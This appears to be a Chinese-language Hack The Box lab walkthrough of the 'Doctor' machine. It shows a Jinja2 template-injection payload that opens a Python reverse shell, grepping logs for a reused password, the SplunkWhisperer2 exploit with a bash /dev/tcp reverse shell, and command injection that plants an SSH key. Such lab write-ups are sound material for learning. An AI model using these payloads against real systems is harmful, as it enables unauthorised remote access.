• 【Hack The Box】linux练习-- Doctor


    HTB 学习笔记

    Hack The Box】linux练习-- Doctor


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月23日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Doctor
    8089/tcp open  ssl/http Splunkd httpd
    | http-robots.txt: 1 disallowed entry 
    |_/
    |_http-server-header: Splunkd
    |_http-title: splunkd
    | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
    | Not valid before: 2020-09-06T15:57:27
    |_Not valid after:  2023-09-06T15:57:27
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    8089/tcp open ssl/http Splunkd httpd存在robots.txt

    添加到host

    80

    Elizabeth Anderson, Hostpital Patients
    info@doctors.htb.
    添加doctors.htb到hosts

    每到一个新的web,都要习惯性的响应检查标头

    HTTP/1.1 200 OK
    Date: Sun, 01 Nov 2020 10:21:07 GMT
    Server: Werkzeug/1.0.1 Python/3.8.2
    Content-Type: text/html; charset=utf-8
    Vary: Cookie,Accept-Encoding
    Connection: close
    Content-Length: 248
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    server来自:Werkzeug
    并且是一个python服务器

    ssti

    在这里插入图片描述尝试登陆
    都登陆不进去
    那就注册一个
    在这里插入图片描述
    页面源码发现了一个/archive
    这个目录能看到一些帖子的信息,那么就与下面要利用的攻击方法呼应了

    Python Web 服务器可能容易受到服务器端模板注入的攻击。 如果用户输入没有经过清理,它可以包含在模板代码中而不是作为文本处理,这可以允许远程代码执行。 OWASP 有一个 页面 详细介绍了背景。 一个简单的例子是一个基于 Python Jinja2 的服务器,它有一个像这样的路由:

    如果用户提交一个获取请求,如 /hello?user={{7*7}},结果将是 Hello 49!, 因为 render函数将处理大括号内的文本。

    在这里存在一个提交框
    在这里插入图片描述

    在这里插入图片描述体现在页面上的没有答案
    在这里插入图片描述

    于是回到/archive,查看,因为我们刚才第一次审查的时候发现它会显示一些帖子信息

    在这里插入图片描述发现成功了这说明render函数起作用了
    也就是可以使用

    {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.14.6\",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
    
    • 1

    用上面的,这个是验证成功了

    也可以在payloadallthethings获取更多知识

    https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-popen-without-guessing-the-offset
    
    • 1

    在这里插入图片描述

    8089

    8089是https
    扫出来的robots没有任何的信息
    在这里插入图片描述在页面顶端发现是splunk 8.0.5
    网上搜索他可以直接提权的,但是需要我们凭据,因为我们刚才获取了一个shell,我将在那个用户中或许可以获得凭据
    在这里插入图片描述
    在这里插入图片描述存在一个通杀rce,也就是那个提权的rce

    点击
    在这里插入图片描述找到了登录页面
    在这里插入图片描述我没有任何凭据
    先放着

    web->shuan

    在这里插入图片描述我们可以发现还有shuan用户,我们应该先得到它
    在这里插入图片描述

    adm用户信息枚举

    这很有趣,因为这意味着 web 可以读取日志文件。 我做了一个快速 grep通过字符串的所有日志 passw(应该同时获得“passwd”和“password”)

    cd /var/log
    grep -r passw . 2>/dev/null   
    
    • 1
    • 2

    在这里插入图片描述这个看起来像密码,我找了20分钟,只有这一个比较像

    我要用它尝试登陆一下那个用户

    Guitar123
    
    • 1

    回到8039页面

    在这里插入图片描述
    我们的凭据有效

    针对splunk
    我们选择这个exp,

    git clone https://github.com/cnotin/SplunkWhisperer2.git
    
    python3 PySplunkWhisperer2_remote.py --host 10.129.2.21 --lhost 10.10.14.29 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.29/9999 0>&1'"
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    知识拓展xss

    每当我有一个在页面上显示回我的表单时,最好检查用户交互或跨站点脚本 (XSS)。 我创建了两个链接,并在正文中放置了一个脚本框:

    Test <a href="http://10.10.14.29/title">title link</a>
    
    Test <a href="http://10.10.14.29/content">body link</a>
    <script> alert("Test")</script>
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述而这次我选择使用nc(记得kill python server)
    在这里插入图片描述
    然后测试了连接之后再测试命令执行

    Test <a href="http://10.10.14.29/$(whoami)">body link</a>
    <script> alert("Test")</script>
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述可以执行,那么就开始写入ssh

    Test <a href="http://10.10.14.29/$(mkdir$IFS'/home/web/.ssh')">body link</a>
    <script> alert("Test")</script>
    
    
    
    • 1
    • 2
    • 3
    • 4
    ssh-keygen -t ed25519 -f id_rsaed25519
    
    • 1
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali
    
    • 1
    Test <a href="http://10.10.14.29/$(echo$IFS'ssh-ed25519'$IFS'AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE'>'/home/web/.ssh/authorized_keys')">body link</a>
    <script> alert("Test")</script>
    
    • 1
    • 2

    在这里插入图片描述

    成功,然后和上面一样了

  • 相关阅读:
    jenkins部署
    使用BASE64实现编码和解码
    springboot+vue+elementui家教平台系统java267
    太阳直散追踪器
    C++ 什么时候用`.template` 和 `::template`
    聊下自己转型测试开发的历程
    MFC Windows 程序设计[241]之创建多维视图效果(附源码)
    SElinux avc dennied权限问题解决方法
    单片机嵌入式物联网教程
    js实现的模拟弹性网格布拉扯仿真动画可拉伸可切割
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127990025